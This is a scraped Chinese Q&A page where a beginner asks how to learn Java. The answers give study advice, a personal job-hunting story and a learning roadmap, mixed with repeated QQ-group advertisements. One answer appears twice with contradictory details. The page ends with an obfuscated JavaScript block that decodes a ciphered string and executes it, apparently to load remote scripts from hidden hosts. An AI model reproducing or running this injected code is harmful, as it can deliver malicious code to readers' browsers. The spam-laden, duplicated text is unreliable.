推荐回答(5个)
情况自述:我自学java一个月了,现在基本基础都没学会,请问该如何学习?现在我只会数组、运算符、for、if语句的使用,这几天在学习方法重载、递归、包的使用,但是学起来好困难啊,视频看了好多次了还是不会,我是不是太笨了啊??请问该如何学习,这些基础以后在三大框架中都有用吗?
这篇文章分享之前我还是要推荐下我自己的群:511673203,不管你是小白还是大牛,小编我都挺欢迎,不定期分享干货,包括我自己整理的一份最新资料和零基础入门教程!,欢迎初学和进阶中的小伙伴

论基础的重要性
刚看标题我还以为你一个月学完J2SE基础,没想到一个月才学完语法基础?你可以去撞墙了,现在的培训班讲完语法基础也就一天的课,最多也超不过两天。
基础,知道基础的作用吗?所有的JAVA复杂的代码都是从这些简单的JAVA代码演变而来的,甚至三大框架的开发也是离不开这些基础的。建议你在学习方法重载的时候先了解什么是类,类是由什么组成的。至少知道怎么去操作这个类,然后再接触方法的重载和重新。
还有,一个初学者学JAVA,最好要系统的学,从基础学起,循序渐进的学,不能说基础没有学会就想着学三大框架了。就算想学三大框架,你也得先要学会web前端和后端是怎么交互的吧,也得知道servlet以及它的工作原理吧,也得要懂点html知识吧。
个人经历
我11年专科毕业,自学java的飘过。11年9月从重庆来到成都,我一个表哥在这边工作(java开发,3年工作经验,是个人才,勤奋肯学本科毕业)。
在我表哥的带领下学习,看了很多视频,一直学习到元旦,开始找工作。(说实话,学习的时候开始一段时间非常认真,后来越来越没动力,越学越懒,可能自己的克制能力不够吧。总结一句学习还是不能在家蹲着学,要做实际的东西,在工作中才会得到更快的提升。)
找工作这段时间真的很辛苦,没经验、没技术。也有可能是自己的努力不够吧。直到今年春季后,我进了一家小公司。但更给我打击的是,我在那个公司呆了10天不到。他把我放了,原因是他觉得我跟不上他们的开发进度。(那时候我是冒充一年工作经验去面试的,面试不是很难,做了笔试,谈了谈技术当时他认为我还可以。)可能就是因为自己的基础不够牢固,ssh框架运用不熟悉导致了这一结果。
12年3月底,4月初我来到一个移动开发的公司。这是一个分公司,这公司比较正规,在行业来说还是有一定的影响力。但我的工作并不是做底层开发,而主要的工作是做客户端的适配(基本不用java)。经过了近2个月的工作(基本没做什么实际的事情),我顶着压力做出了辞职的决定。就我给我们主管说辞职了,在他的劝留之下我还是没动摇。开始了继续求学,寻找java开发工作的煎熬道路。改掉自己做事懒散,思想爱抛锚的坏毛病。
基础部分要多用代码来提高熟练度,书上的题目尽可能的自己用代码都实现,碰到不明白的地方可以百度什么的,视频确实是个快速提高的好办法,但是最重要的还是多练习吧,随着时间的积累慢慢的你就会发现你的成长的。
经验建议分享
从我个人经历,我个人觉得看视频、看书学习是非常有效的学习方法,看书有效率,视频更通俗的理解和记忆。但是目前网上的视频很多都不是完整的体系的,知识点也讲的非常的零散,而且一点,有些视频都是几年前的了,如果你学java只是单纯的为了个人喜好,这些也差不多了,基础知识点肯定是不变的,有心的同学可以翻翻我之前的文章,有很多书和视频的推荐,择自己需要补充的知识点去研究的。还有想要学的知识点或者框架可以私信我。
但是如果你学java是为了就业,我就建议还是需要一位专业的老师,因为单纯的自学,你可能在学习的时候会都能看懂,但是自己实际去运用,就会遇到很多问题,这个时候,还是需要有一个好的老师指导你。有需要的可以加java学习群282711949,企业不比学校,上级不比老师,不会有人对你宽容。自我学习和提升,是为了更高效的工作和更高质量的生活。
Java基础首先去找一个Java的基础教程学一下,如果很难找到合适系统的可以私信我。学习Java基础的时候,应该尽量多动手,很多时候,你想当然的事情,等你写出来运行一下,你就会发现不是这么回事儿,不信你就试试。学完以上内容以后,你应该对Java有一个基本的了解了,你可以用Java语言写出一些简单的程序,并且你用的是最简单的编辑器,比如记事本。这个时候,不要急于进入下一部分,留下几天好好写一些程序,尽可能熟悉这些基础内容。
下面给大家分享一个脑图,如果你只是零基础的小白,那你肯定完全看不懂,但凡有点自学或者大学上过几堂课的同学可以保存下来,按照这个顺序去学习。
第一部分:关于JDK高级APID应用

第二部分:关于多线程及网络编程

第三部分:关于web高级技能

第四部分:关于数据结构算法

第五部分:关于MYSQL数据库技能

第六部分:关于企业级开发环境搭建

第七部分:关于WEB应用框架专题

第八部分:关于前端交互技术

第九部分:关于电商项目实战

第十部分:关于高手之路及就业指导

java自学入门之后,你就可以按照我给你的脑图学习,以上脑图整个体系,如果你完全都掌握了会运用了,我相信你一定能找到合适自己满意的工作的。
编程的道路起步也许枯燥,但是只要你上路了,我相信你会爱上他的!最后希望大家,梦想成真!
关注我,加群511673203。每天干货、趣闻、高质量内容等你哟~
java入门书, 挑两三本你能看懂的,精看其中一本,然后拿别的来对比
html, jsp
servlet
数据库, SQL, 具体数据库:mysql
JavaWeb: Spring(IOC,AOP), ORM(Hibernate,Bee), MVC(Struts2, springmvc)
1、首先要学习java的基础知识。不要被新技术迷惑,所谓万变不离其宗,新技术都是基于java的基础之上,如果基础不扎实,对于这些新技术的理解也是一知半解,学不到根源。
2、做一个java项目
在学习完java的基础知识之后,做一个java项目来巩固一下,在项目中会发现很多问题,通过解决问题,加深基础知识的掌握。全套的学习可以去siki学院看下,里面的视频都很精品,看完一两个入门是可以了
java自学最好是能有一套比较好的视频来指引。推荐一个我自己经常看的腾讯课堂上java学习视频,任小龙老师的,适合新手入门,也适合有一些基础的提升自己的。他的视频已经非常完善,你基本上看他的视频,肯定逆袭。
情况自述:我自学java一个月了,现在基本基础都没学会,请问该如何学习?现在我只会数组、运算符、for、if语句的使用,这几天在学习方法重载、递归、包的使用,但是学起来好困难啊,视频看了好多次了还是不会,我是不是太笨了啊??请问该如何学习,这些基础以后在三大框架中都有用吗?820384292,不管你是小白还是大牛,小编我都挺欢迎,不定期分享干货,包括我自己整理的一份最新资料和零基础入门教程!,欢迎初学和进阶中的小伙伴

论基础的重要性
刚看标题我还以为你一个月学完J2SE基础,没想到一个月才学完语法基础?你可以去撞墙了,现在的培训班讲完语法基础也就一天的课,最多也超不过两天。
基础,知道基础的作用吗?所有的JAVA复杂的代码都是从这些简单的JAVA代码演变而来的,甚至三大框架的开发也是离不开这些基础的。建议你在学习方法重载的时候先了解什么是类,类是由什么组成的。至少知道怎么去操作这个类,然后再接触方法的重载和重新。
还有,一个初学者学JAVA,最好要系统的学,从基础学起,循序渐进的学,不能说基础没有学会就想着学三大框架了。就算想学三大框架,你也得先要学会web前端和后端是怎么交互的吧,也得知道servlet以及它的工作原理吧,也得要懂点html知识吧。
个人经历
我13年本科毕业,自学java的飘过。11年9月从重庆来到成都,我一个表哥在这边工作(java开发,3年工作经验,是个人才,勤奋肯学本科毕业)。
在我表哥的带领下学习,看了很多视频,一直学习到元旦,开始找工作。(说实话,学习的时候开始一段时间非常认真,后来越来越没动力,越学越懒,可能自己的克制能力不够吧。总结一句学习还是不能在家蹲着学,要做实际的东西,在工作中才会得到更快的提升。)
找工作这段时间真的很辛苦,没经验、没技术。也有可能是自己的努力不够吧。直到今年春季后,我进了一家小公司。但更给我打击的是,我在那个公司呆了10天不到。他把我放了,原因是他觉得我跟不上他们的开发进度。(那时候我是冒充一年工作经验去面试的,面试不是很难,做了笔试,谈了谈技术当时他认为我还可以。)可能就是因为自己的基础不够牢固,ssh框架运用不熟悉导致了这一结果。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();